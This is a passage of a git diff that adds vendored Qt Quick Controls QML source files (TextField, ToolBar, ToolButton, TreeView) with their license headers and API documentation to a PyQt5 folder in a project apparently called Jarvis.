automatically switch to upper case + when a sentence ends. + \li Qt.ImhPreferNumbers - Numbers are preferred (but not required). + \li Qt.ImhPreferUppercase - Uppercase letters are preferred (but not required). + \li Qt.ImhPreferLowercase - Lowercase letters are preferred (but not required). + \li Qt.ImhNoPredictiveText - Do not use predictive text (for example, dictionary lookup) while typing. + + \li Qt.ImhDate - The text editor functions as a date field. + \li Qt.ImhTime - The text editor functions as a time field. + \li Qt.ImhMultiLine - The text editor doesn't close software input keyboard when Return or Enter key is pressed (since QtQuick.Controls 1.3). + \endlist + + Flags that restrict input (exclusive flags) are: + + \list + \li Qt.ImhDigitsOnly - Only digits are allowed. + \li Qt.ImhFormattedNumbersOnly - Only number input is allowed. This includes decimal point and minus sign. + \li Qt.ImhUppercaseOnly - Only uppercase letter input is allowed. + \li Qt.ImhLowercaseOnly - Only lowercase letter input is allowed. + \li Qt.ImhDialableCharactersOnly - Only characters suitable for phone dialing are allowed. + \li Qt.ImhEmailCharactersOnly - Only characters suitable for email addresses are allowed. + \li Qt.ImhUrlCharactersOnly - Only characters suitable for URLs are allowed. + \endlist + + Masks: + \list + \li Qt.ImhExclusiveInputMask - This mask yields nonzero if any of the exclusive flags are used. + \endlist + */ + property alias inputMethodHints: textInput.inputMethodHints + + /*! + \qmlproperty int TextField::length + + Returns the total number of characters in the TextField item. + + If the TextField has an input mask, the length will include mask + characters and may differ from the length of the string returned by the + \l text property. + + This property can be faster than querying the length of the \l text + property as it doesn't require any copying or conversion of the + TextField's internal string data. + */ + readonly property alias length: textInput.length + + /*! + \qmlproperty int TextField::maximumLength + + This property holds the maximum permitted length of the text in the + TextField. + + If the text is too long, it is truncated at the limit. + */ + property alias maximumLength: textInput.maximumLength + + /*! + \qmlproperty string TextField::placeholderText + + This property contains the text that is shown in the text field when the + text field is empty. + */ + property alias placeholderText: placeholderTextComponent.text + + /*! + \qmlproperty bool TextField::readOnly + + Sets whether user input can modify the contents of the TextField. Read- + only is different from a disabled text field in that the text field will + appear to be active and text can still be selected and copied. + + If readOnly is set to \c true, then user input will not affect the text. + Any bindings or attempts to set the text property will still + work, however. + */ + property alias readOnly: textInput.readOnly + Accessible.readOnly: readOnly + + /*! + \qmlproperty bool TextField::selectByMouse + \since QtQuick.Controls 1.3 + + This property determines if the user can select the text with the + mouse. + + The default value is \c true. + */ + property bool selectByMouse: true + + /*! + \qmlproperty string TextField::selectedText + + Provides the text currently selected in the text input. + + It is equivalent to the following snippet, but is faster and easier + to use. + + \code + myTextField.text.toString().substring(myTextField.selectionStart, myTextField.selectionEnd); + \endcode + */ + readonly property alias selectedText: textInput.selectedText + + /*! + \qmlproperty int TextField::selectionEnd + + The cursor position after the last character in the current selection. + + This property is read-only. To change the selection, use + select(start,end), selectAll(), or selectWord(). + + \sa selectionStart, cursorPosition, selectedText + */ + readonly property alias selectionEnd: textInput.selectionEnd + + /*! + \qmlproperty int TextField::selectionStart + + The cursor position before the first character in the current selection. + + This property is read-only. To change the selection, use select(start,end), + selectAll(), or selectWord(). + + \sa selectionEnd, cursorPosition, selectedText + */ + readonly property alias selectionStart: textInput.selectionStart + + /*! + \qmlproperty string TextField::text + + This property contains the text in the TextField. + */ + property alias text: textInput.text + + /*! + \qmlproperty Validator TextField::validator + + Allows you to set a validator on the TextField. When a validator is set, + the TextField will only accept input which leaves the text property in + an intermediate state. The accepted signal will only be sent + if the text is in an acceptable state when enter is pressed. + + Currently supported validators are \l[QtQuick]{IntValidator}, + \l[QtQuick]{DoubleValidator}, and \l[QtQuick]{RegExpValidator}. An + example of using validators is shown below, which allows input of + integers between 11 and 31 into the text input: + + \code + import QtQuick 2.2 + import QtQuick.Controls 1.2 + + TextField { + validator: IntValidator {bottom: 11; top: 31;} + focus: true + } + \endcode + + \sa acceptableInput, inputMask, accepted + */ + property alias validator: textInput.validator + + /*! + \since QtQuick.Controls 1.3 + + This property contains the edit \l Menu for working + with text selection. Set it to \c null if no menu + is wanted. + */ + property Component menu: textInput.editMenu.defaultMenu + + /*! + \qmlsignal TextField::accepted() + + This signal is emitted when the Return or Enter key is pressed. + Note that if there is a \l validator or \l inputMask set on the text + field, the signal will only be emitted if the input is in an acceptable + state. + + The corresponding handler is \c onAccepted. + */ + signal accepted() + + /*! + \qmlsignal TextField::editingFinished() + \since QtQuick.Controls 1.1 + + This signal is emitted when the Return or Enter key is pressed or + the text field loses focus. Note that if there is a validator or + inputMask set on the text field and enter/return is pressed, this + signal will only be emitted if the input follows + the inputMask and the validator returns an acceptable state. + + The corresponding handler is \c onEditingFinished. + */ + signal editingFinished() + + /*! + \qmlmethod void TextField::copy() + + Copies the currently selected text to the system clipboard. + */ + function copy() { + textInput.copy() + } + + /*! + \qmlmethod void TextField::cut() + + Moves the currently selected text to the system clipboard. + */ + function cut() { + textInput.cut() + } + + /*! + \qmlmethod void TextField::deselect() + + Removes active text selection. + */ + function deselect() { + textInput.deselect(); + } + + /*! + \qmlmethod string TextField::getText(int start, int end) + + Removes the section of text that is between the \a start and \a end + positions from the TextField. + */ + function getText(start, end) { + return textInput.getText(start, end); + } + + /*! + \qmlmethod void TextField::insert(int position, string text) + + Inserts \a text into the TextField at \a position. + */ + function insert(position, text) { + textInput.insert(position, text); + } + + /*! + \qmlmethod bool TextField::isRightToLeft(int start, int end) + + Returns \c true if the natural reading direction of the editor text + found between positions \a start and \a end is right to left. + */ + function isRightToLeft(start, end) { + return textInput.isRightToLeft(start, end); + } + + /*! + \qmlmethod void TextField::paste() + + Replaces the currently selected text by the contents of the system + clipboard. + */ + function paste() { + textInput.paste() + } + + /*! + \qmlmethod void TextField::redo() + + Performs the last operation if redo is \l {canRedo}{available}. + */ + function redo() { + textInput.redo(); + } + + /*! + \qmlmethod void TextField::remove(int start, int end) + \since QtQuick.Controls 1.4 + + Removes the section of text that is between the \a start and \a end positions. + */ + function remove(start, end) { + textInput.remove(start, end) + } + + /*! + \qmlmethod void TextField::select(int start, int end) + + Causes the text from \a start to \a end to be selected. + + If either start or end is out of range, the selection is not changed. + + After calling select, selectionStart will become the lesser + and selectionEnd will become the greater (regardless of the order passed + to this method). + + \sa selectionStart, selectionEnd + */ + function select(start, end) { + textInput.select(start, end) + } + + /*! + \qmlmethod void TextField::selectAll() + + Causes all text to be selected. + */ + function selectAll() { + textInput.selectAll() + } + + /*! + \qmlmethod void TextField::selectWord() + + Causes the word closest to the current cursor position to be selected. + */ + function selectWord() { + textInput.selectWord() + } + + /*! + \qmlmethod void TextField::undo() + + Reverts the last operation if undo is \l {canUndo}{available}. undo() + deselects any current selection and updates the selection start to the + current cursor position. + */ + function undo() { + textInput.undo(); + } + + /*! \qmlproperty bool TextField::hovered + + This property holds whether the control is being hovered. + */ + readonly property alias hovered: textInput.containsMouse + + /*! \internal */ + property alias __contentHeight: textInput.contentHeight + + /*! \internal */ + property alias __contentWidth: textInput.contentWidth + + /*! \internal */ + property alias __baselineOffset: textInput.baselineOffset + + style: Settings.styleComponent(Settings.style, "TextFieldStyle.qml", textInput) + + activeFocusOnTab: true + + Accessible.name: text + Accessible.role: Accessible.EditableText + Accessible.description: placeholderText + + Text { + id: placeholderTextComponent + anchors.fill: textInput + font: textInput.font + horizontalAlignment: textInput.horizontalAlignment + verticalAlignment: textInput.verticalAlignment + opacity: !textInput.displayText && (!textInput.activeFocus || textInput.horizontalAlignment !== Qt.AlignHCenter) ? 1.0 : 0.0 + color: __panel ? __panel.placeholderTextColor : "darkgray" + clip: contentWidth > width; + elide: Text.ElideRight + renderType: __style ? __style.renderType : Text.NativeRendering + } + + TextInputWithHandles { + id: textInput + focus: true + passwordCharacter: __style && __style.passwordCharacter !== undefined ? __style.passwordCharacter + : Qt.styleHints.passwordMaskCharacter + selectionColor: __panel ? __panel.selectionColor : "darkred" + selectedTextColor: __panel ? __panel.selectedTextColor : "white" + + control: textfield + cursorHandle: __style ? __style.__cursorHandle : undefined + selectionHandle: __style ? __style.__selectionHandle : undefined + + font: __panel ? __panel.font : TextSingleton.font + anchors.leftMargin: __panel ? __panel.leftMargin : 0 + anchors.topMargin: __panel ? __panel.topMargin : 0 + anchors.rightMargin: __panel ? __panel.rightMargin : 0 + anchors.bottomMargin: __panel ? __panel.bottomMargin : 0 + + anchors.fill: parent + verticalAlignment: Text.AlignVCenter + + color: __panel ? __panel.textColor : "darkgray" + clip: contentWidth > width + + renderType: __style ? __style.renderType : Text.NativeRendering + + Keys.forwardTo: textfield + + EnterKey.type: control.EnterKey.type + + onAccepted: textfield.accepted() + + onEditingFinished: textfield.editingFinished() + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/TextField.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/TextField.qmlc new file mode 100644 index 00000000..26e12cf3 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/TextField.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/ToolBar.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/ToolBar.qml new file mode 100644 index 00000000..2e8a8fa3 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/ToolBar.qml @@ -0,0 +1,182 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 + +/*! + \qmltype ToolBar + \inqmlmodule QtQuick.Controls + \since 5.1 + \ingroup applicationwindow + \ingroup controls + \brief Contains ToolButton and related controls. + + \image toolbar.png + + The common way of using ToolBar is in relation to \l ApplicationWindow. It + provides styling and is generally designed to work well with ToolButton as + well as other controls. + + Note that the ToolBar does not provide a layout of its own, but requires + you to position its contents, for instance by creating a \l RowLayout. + + If only a single item is used within the ToolBar, it will resize to fit the implicitHeight + of its contained item. This makes it particularly suitable for use together with layouts. + Otherwise the height is platform dependent. + + \code + ApplicationWindow { + ... + toolBar:ToolBar { + RowLayout { + anchors.fill: parent + ToolButton { + iconSource: "new.png" + } + ToolButton { + iconSource: "open.png" + } + ToolButton { + iconSource: "save-as.png" + } + Item { Layout.fillWidth: true } + CheckBox { + text: "Enabled" + checked: true + Layout.alignment: Qt.AlignRight + } + } + } + } + \endcode +*/ + +FocusScope { + id: toolbar + + activeFocusOnTab: false + Accessible.role: Accessible.ToolBar + LayoutMirroring.enabled: Qt.application.layoutDirection === Qt.RightToLeft + LayoutMirroring.childrenInherit: true + + width: parent ? parent.width : implicitWidth + implicitWidth: container.leftMargin + container.rightMargin + + Math.max(container.layoutWidth, __panel ? __panel.implicitWidth : 0) + implicitHeight: container.topMargin + container.bottomMargin + + Math.max(container.layoutHeight, __panel ? __panel.implicitHeight : 0) + + /*! \internal */ + property Component style: Settings.styleComponent(Settings.style, "ToolBarStyle.qml", toolbar) + + /*! \internal */ + property alias __style: styleLoader.item + + /*! \internal */ + property Item __panel: panelLoader.item + + /*! \internal */ + default property alias __content: container.data + + /*! \internal */ + property var __menu + + /*! + \qmlproperty Item ToolBar::contentItem + + This property holds the content Item of the tool bar. + + Items declared as children of a ToolBar are automatically parented to the ToolBar's contentItem. + Items created dynamically need to be explicitly parented to the contentItem: + + \note The implicit size of the ToolBar is calculated based on the size of its content. If you want to anchor + items inside the tool bar, you must specify an explicit width and height on the ToolBar itself. + */ + readonly property alias contentItem: container + + data: [ + Loader { + id: panelLoader + anchors.fill: parent + sourceComponent: styleLoader.item ? styleLoader.item.panel : null + onLoaded: item.z = -1 + Loader { + id: styleLoader + property alias __control: toolbar + sourceComponent: style + } + }, + Item { + id: container + z: 1 + focus: true + anchors.fill: parent + + anchors.topMargin: topMargin + anchors.leftMargin: leftMargin + anchors.rightMargin: rightMargin + (buttonLoader.active ? buttonLoader.width + rightMargin : 0) + anchors.bottomMargin: bottomMargin + + property int topMargin: __style ? __style.padding.top : 0 + property int bottomMargin: __style ? __style.padding.bottom : 0 + property int leftMargin: __style ? __style.padding.left : 0 + property int rightMargin: __style ? __style.padding.right : 0 + + property Item layoutItem: container.children.length === 1 ? container.children[0] : null + property real layoutWidth: layoutItem ? (layoutItem.implicitWidth || layoutItem.width) + + (layoutItem.anchors.fill ? layoutItem.anchors.leftMargin + + layoutItem.anchors.rightMargin : 0) : 0 + property real layoutHeight: layoutItem ? (layoutItem.implicitHeight || layoutItem.height) + + (layoutItem.anchors.fill ? layoutItem.anchors.topMargin + + layoutItem.anchors.bottomMargin : 0) : 0 + }, + Loader { + id: buttonLoader + anchors.right: parent.right + anchors.rightMargin: container.rightMargin + anchors.verticalCenter: parent.verticalCenter + sourceComponent: ToolMenuButton { + menu: toolbar.__menu + panel: toolbar.__style.menuButton || null + } + active: !!__menu && __menu.items.length > 0 && !!__style.menuButton + } + ] +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/ToolBar.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/ToolBar.qmlc new file mode 100644 index 00000000..d9defd0b Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/ToolBar.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/ToolButton.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/ToolButton.qml new file mode 100644 index 00000000..1d5e474f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/ToolButton.qml @@ -0,0 +1,87 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 + +/*! + \qmltype ToolButton + \inqmlmodule QtQuick.Controls + \since 5.1 + \ingroup controls + \brief Provides a button type that is typically used within a ToolBar. + + \image toolbar.png + + ToolButton is functionally similar to \l {QtQuick.Controls::}{Button}, but + can provide a look that is more suitable within a \l ToolBar. + + \code + ApplicationWindow { + ... + toolBar: ToolBar { + RowLayout { + ToolButton { + iconSource: "new.png" + } + ToolButton { + iconSource: "open.png" + } + ToolButton { + iconSource: "save-as.png" + } + Item { Layout.fillWidth: true } + CheckBox { + text: "Enabled" + checked: true + } + } + } + } + \endcode + + You can create a custom appearance for a ToolButton by + assigning a \l {ButtonStyle}. +*/ + +Button { + id: button + style: Settings.styleComponent(Settings.style, "ToolButtonStyle.qml", button) +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/ToolButton.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/ToolButton.qmlc new file mode 100644 index 00000000..ff422440 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/ToolButton.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/TreeView.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/TreeView.qml new file mode 100644 index 00000000..2bedb9e6 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/TreeView.qml @@ -0,0 +1,421 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.4 +import QtQuick.Controls 1.4 +import QtQuick.Controls.Private 1.0 +import QtQuick.Controls.Styles 1.2 +import QtQml.Models 2.2 + +BasicTableView { + id: root + + property var model: null + property alias rootIndex: modelAdaptor.rootIndex + + readonly property var currentIndex: modelAdaptor.updateCount, modelAdaptor.mapRowToModelIndex(__currentRow) + property ItemSelectionModel selection: null + + signal activated(var index) + signal clicked(var index) + signal doubleClicked(var index) + signal pressAndHold(var index) + signal expanded(var index) + signal collapsed(var index) + + function isExpanded(index) { + if (index.valid && index.model !== model) { + console.warn("TreeView.isExpanded: model and index mismatch") + return false + } + return modelAdaptor.isExpanded(index) + } + + function collapse(index) { + if (index.valid && index.model !== model) + console.warn("TreeView.collapse: model and index mismatch") + else + modelAdaptor.collapse(index) + } + + function expand(index) { + if (index.valid && index.model !== model) + console.warn("TreeView.expand: model and index mismatch") + else + modelAdaptor.expand(index) + } + + function indexAt(x, y) { + var obj = root.mapToItem(__listView.contentItem, x, y) + return modelAdaptor.mapRowToModelIndex(__listView.indexAt(obj.x, obj.y)) + } + + style: Settings.styleComponent(Settings.style, "TreeViewStyle.qml", root) + + // Internal stuff. Do not look + + __viewTypeName: "TreeView" + + __model: TreeModelAdaptor { + id: modelAdaptor + model: root.model + + // Hack to force re-evaluation of the currentIndex binding + property int updateCount: 0 + onModelReset: updateCount++ + onRowsInserted: updateCount++ + onRowsRemoved: updateCount++ + + onExpanded: root.expanded(index) + onCollapsed: root.collapsed(index) + } + + __itemDelegateLoader: TreeViewItemDelegateLoader { + __style: root.__style + __itemDelegate: root.itemDelegate + __mouseArea: mouseArea + __treeModel: modelAdaptor + } + + onSelectionModeChanged: if (!!selection) selection.clear() + + __mouseArea: MouseArea { + id: mouseArea + + parent: __listView + width: __listView.width + height: __listView.height + z: -1 + propagateComposedEvents: true + focus: true + // If there is not a touchscreen, keep the flickable from eating our mouse drags. + // If there is a touchscreen, flicking is possible, but selection can be done only by tapping, not by dragging. + preventStealing: !Settings.hasTouchScreen + + property var clickedIndex: undefined + property var pressedIndex: undefined + property bool selectOnRelease: false + property int pressedColumn: -1 + readonly property alias currentRow: root.__currentRow + readonly property alias currentIndex: root.currentIndex + + // Handle vertical scrolling whem dragging mouse outside boundaries + property int autoScroll: 0 // 0 -> do nothing; 1 -> increment; 2 -> decrement + property bool shiftPressed: false // forward shift key state to the autoscroll timer + + Timer { + running: mouseArea.autoScroll !== 0 && __verticalScrollBar.visible + interval: 20 + repeat: true + onTriggered: { + var oldPressedIndex = mouseArea.pressedIndex + var row + if (mouseArea.autoScroll === 1) { + __listView.incrementCurrentIndexBlocking(); + row = __listView.indexAt(0, __listView.height + __listView.contentY) + if (row === -1) + row = __listView.count - 1 + } else { + __listView.decrementCurrentIndexBlocking(); + row = __listView.indexAt(0, __listView.contentY) + } + + var index = modelAdaptor.mapRowToModelIndex(row) + if (index !== oldPressedIndex) { + mouseArea.pressedIndex = index + var modifiers = mouseArea.shiftPressed ? Qt.ShiftModifier : Qt.NoModifier + mouseArea.mouseSelect(index, modifiers, true /* drag */) + } + } + } + + function mouseSelect(modelIndex, modifiers, drag) { + if (!selection) { + maybeWarnAboutSelectionMode() + return + } + + if (selectionMode) { + selection.setCurrentIndex(modelIndex, ItemSelectionModel.NoUpdate) + if (selectionMode === SelectionMode.SingleSelection) { + selection.select(modelIndex, ItemSelectionModel.ClearAndSelect) + } else { + var selectRowRange = (drag && (selectionMode === SelectionMode.MultiSelection + || (selectionMode === SelectionMode.ExtendedSelection + && modifiers & Qt.ControlModifier))) + || modifiers & Qt.ShiftModifier + var itemSelection = !selectRowRange || clickedIndex === modelIndex ? modelIndex + : modelAdaptor.selectionForRowRange(clickedIndex, modelIndex) + + if (selectionMode === SelectionMode.MultiSelection + || selectionMode === SelectionMode.ExtendedSelection && modifiers & Qt.ControlModifier) { + if (drag) + selection.select(itemSelection, ItemSelectionModel.ToggleCurrent) + else + selection.select(modelIndex, ItemSelectionModel.Toggle) + } else if (modifiers & Qt.ShiftModifier) { + selection.select(itemSelection, ItemSelectionModel.SelectCurrent) + } else { + clickedIndex = modelIndex // Needed only when drag is true + selection.select(modelIndex, ItemSelectionModel.ClearAndSelect) + } + } + } + } + + function keySelect(keyModifiers) { + if (selectionMode) { + if (!keyModifiers) + clickedIndex = currentIndex + if (!(keyModifiers & Qt.ControlModifier)) + mouseSelect(currentIndex, keyModifiers, keyModifiers & Qt.ShiftModifier) + } + } + + function selected(row) { + if (selectionMode === SelectionMode.NoSelection) + return false + + var modelIndex = null + if (!!selection) { + modelIndex = modelAdaptor.mapRowToModelIndex(row) + if (modelIndex.valid) { + if (selectionMode === SelectionMode.SingleSelection) + return selection.currentIndex === modelIndex + return selection.hasSelection && selection.isSelected(modelIndex) + } else { + return false + } + } + + return row === currentRow + && (selectionMode === SelectionMode.SingleSelection + || (selectionMode > SelectionMode.SingleSelection && !selection)) + } + + function branchDecorationContains(x, y) { + var clickedItem = __listView.itemAt(0, y + __listView.contentY) + if (!(clickedItem && clickedItem.rowItem)) + return false + var branchDecoration = clickedItem.rowItem.branchDecoration + if (!branchDecoration) + return false + var pos = mapToItem(branchDecoration, x, y) + return branchDecoration.contains(Qt.point(pos.x, pos.y)) + } + + function maybeWarnAboutSelectionMode() { + if (selectionMode > SelectionMode.SingleSelection) + console.warn("TreeView: Non-single selection is not supported without an ItemSelectionModel.") + } + + onPressed: { + var pressedRow = __listView.indexAt(0, mouseY + __listView.contentY) + pressedIndex = modelAdaptor.mapRowToModelIndex(pressedRow) + pressedColumn = __listView.columnAt(mouseX) + selectOnRelease = false + __listView.forceActiveFocus() + if (pressedRow === -1 + || Settings.hasTouchScreen + || branchDecorationContains(mouse.x, mouse.y)) { + return + } + if (selectionMode === SelectionMode.ExtendedSelection + && selection.isSelected(pressedIndex)) { + selectOnRelease = true + return + } + __listView.currentIndex = pressedRow + if (!clickedIndex) + clickedIndex = pressedIndex + mouseSelect(pressedIndex, mouse.modifiers, false) + if (!mouse.modifiers) + clickedIndex = pressedIndex + } + + onReleased: { + if (selectOnRelease) { + var releasedRow = __listView.indexAt(0, mouseY + __listView.contentY) + var releasedIndex = modelAdaptor.mapRowToModelIndex(releasedRow) + if (releasedRow >= 0 && releasedIndex === pressedIndex) + mouseSelect(pressedIndex, mouse.modifiers, false) + } + pressedIndex = undefined + pressedColumn = -1 + autoScroll = 0 + selectOnRelease = false + } + + onPositionChanged: { + // NOTE: Testing for pressed is not technically needed, at least + // until we decide to support tooltips or some other hover feature + if (mouseY > __listView.height && pressed) { + if (autoScroll === 1) return; + autoScroll = 1 + } else if (mouseY < 0 && pressed) { + if (autoScroll === 2) return; + autoScroll = 2 + } else { + autoScroll = 0 + } + + if (pressed && containsMouse) { + var oldPressedIndex = pressedIndex + var pressedRow = __listView.indexAt(0, mouseY + __listView.contentY) + pressedIndex = modelAdaptor.mapRowToModelIndex(pressedRow) + pressedColumn = __listView.columnAt(mouseX) + if (pressedRow > -1 && oldPressedIndex !== pressedIndex) { + __listView.currentIndex = pressedRow + mouseSelect(pressedIndex, mouse.modifiers, true /* drag */) + } + } + } + + onExited: { + pressedIndex = undefined + pressedColumn = -1 + selectOnRelease = false + } + + onCanceled: { + pressedIndex = undefined + pressedColumn = -1 + autoScroll = 0 + selectOnRelease = false + } + + onClicked: { + var clickIndex = __listView.indexAt(0, mouseY + __listView.contentY) + if (clickIndex > -1) { + var modelIndex = modelAdaptor.mapRowToModelIndex(clickIndex) + if (branchDecorationContains(mouse.x, mouse.y)) { + if (modelAdaptor.isExpanded(modelIndex)) + modelAdaptor.collapse(modelIndex) + else + modelAdaptor.expand(modelIndex) + } else { + if (Settings.hasTouchScreen) { + // compensate for the fact that onPressed didn't select on press: do it here instead + pressedIndex = modelAdaptor.mapRowToModelIndex(clickIndex) + pressedColumn = __listView.columnAt(mouseX) + selectOnRelease = false + __listView.forceActiveFocus() + __listView.currentIndex = clickIndex + if (!clickedIndex) + clickedIndex = pressedIndex + mouseSelect(pressedIndex, mouse.modifiers, false) + if (!mouse.modifiers) + clickedIndex = pressedIndex + } + if (root.__activateItemOnSingleClick && !mouse.modifiers) + root.activated(modelIndex) + } + root.clicked(modelIndex) + } + } + + onDoubleClicked: { + var clickIndex = __listView.indexAt(0, mouseY + __listView.contentY) + if (clickIndex > -1) { + var modelIndex = modelAdaptor.mapRowToModelIndex(clickIndex) + if (!root.__activateItemOnSingleClick) + root.activated(modelIndex) + root.doubleClicked(modelIndex) + } + } + + onPressAndHold: { + var pressIndex = __listView.indexAt(0, mouseY + __listView.contentY) + if (pressIndex > -1) { + var modelIndex = modelAdaptor.mapRowToModelIndex(pressIndex) + root.pressAndHold(modelIndex) + } + } + + Keys.forwardTo: [root] + + Keys.onUpPressed: { + event.accepted = __listView.decrementCurrentIndexBlocking() + keySelect(event.modifiers) + } + + Keys.onDownPressed: { + event.accepted = __listView.incrementCurrentIndexBlocking() + keySelect(event.modifiers) + } + + Keys.onRightPressed: { + if (root.currentIndex.valid) + root.expand(currentIndex) + else + event.accepted = false + } + + Keys.onLeftPressed: { + if (root.currentIndex.valid) + root.collapse(currentIndex) + else + event.accepted = false + } + + Keys.onReturnPressed: { + if (root.currentIndex.valid) + root.activated(currentIndex) + else + event.accepted = false + } + + Keys.onPressed: { + __listView.scrollIfNeeded(event.key) + + if (event.key === Qt.Key_A && event.modifiers & Qt.ControlModifier + && !!selection && selectionMode > SelectionMode.SingleSelection) { + var sel = modelAdaptor.selectionForRowRange(0, __listView.count - 1) + selection.select(sel, ItemSelectionModel.SelectCurrent) + } else if (event.key === Qt.Key_Shift) { + shiftPressed = true + } + } + + Keys.onReleased: { + if (event.key === Qt.Key_Shift) + shiftPressed = false + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/TreeView.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/TreeView.qmlc new file mode 100644 index 00000000..fb2b8c6c Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/TreeView.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/plugins.qmltypes b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/plugins.qmltypes new file mode 100644 index 00000000..0242497c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/plugins.qmltypes @@ -0,0 +1,3439 @@ +import QtQuick.tooling 1.2 + +// This file describes the plugin-supplied 